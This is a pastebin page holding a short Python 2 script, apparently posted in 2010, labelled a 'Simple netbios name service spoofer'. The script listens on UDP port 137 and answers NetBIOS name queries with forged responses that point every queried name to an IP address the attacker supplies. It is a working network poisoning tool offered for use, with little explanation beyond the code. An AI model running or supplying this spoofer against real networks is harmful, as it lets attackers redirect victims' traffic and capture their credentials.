Recent Posts
HTML | 4 sec ago
Java | 7 sec ago
C# | 8 sec ago
None | 13 sec ago
None | 31 sec ago
None | 35 sec ago
XML | 56 sec ago
None | 1 min ago
None | 1 min ago
None | 1 min ago
Sitereport
Find cool info about any domain on the internet?
visit sitereport
Free Subdomains
Want a pastebin.com sub-domain for your community?
learn more...
What is pastebin?
Pastebin is a website that hosts all your text & code on dedicated servers for easy sharing.
learn more...
Learn a little bit about the new Pastebin.com on our help page. hide message
By Laurent Gaffi on the 9th of Feb 2010 10:51:22 PM Download | Raw | Embed | Report
  1. ##Simple netbios name service spoofer.
  2.  
  3. import sys, SocketServer
  4. from socket import inet_aton
  5.  
  6. if len(sys.argv)<=1:   
  7.  sys.exit('Give me an IP')
  8.  
  9. #NBNS SPOOF;
  10. answer = [chr(int(a, 16)) for a in """
  11. 08 f3 85 80 00 00 00 01 00 00 00 00 20 46 48 45
  12. 50 46 43 45 4c 45 48 46 43 45 50 46 46 46 41 43
  13. 41 43 41 43 41 43 41 43 41 43 41 42 4e 00 00 20
  14. 00 01 00 04 93 e0 00 06 00 00""".split()]
  15.  
  16. def nametid(data,packet):
  17.     pack = packet[:]
  18.     pack[0:2]=data[0:2]##Transaction ID
  19.     pack[12:48]=data[12:48]##Netbios name
  20.     return pack
  21.  
  22. class NBS(SocketServer.BaseRequestHandler):
  23.      
  24.     def server_bind(self):
  25.        self.socket.setsockopt(SOL_SOCKET, SO_REUSEADDR,SO_REUSEPORT, 1)
  26.        self.socket.bind(self.server_address)
  27.  
  28.     def handle(self):
  29.         request, socket = self.request
  30.         print "From:", self.client_address
  31.         ## waiting for query ..
  32.         if request[2:4] == "\x01\x10":    
  33.            buffer0 = ''.join(nametid(request,answer))+inet_aton(str(sys.argv[1]))
  34.            socket.sendto(buffer0, self.client_address)
  35.            print "Fake Response sended\n"
  36.  
  37. launch = SocketServer.UDPServer(('', 137),NBS)
  38. launch.serve_forever()
Submit a correction or amendment below. Make A New Post
To highlight particular lines, prefix each line with @h@
Syntax highlighting:
Post expiration:
Post exposure:
Name / Title:
Email: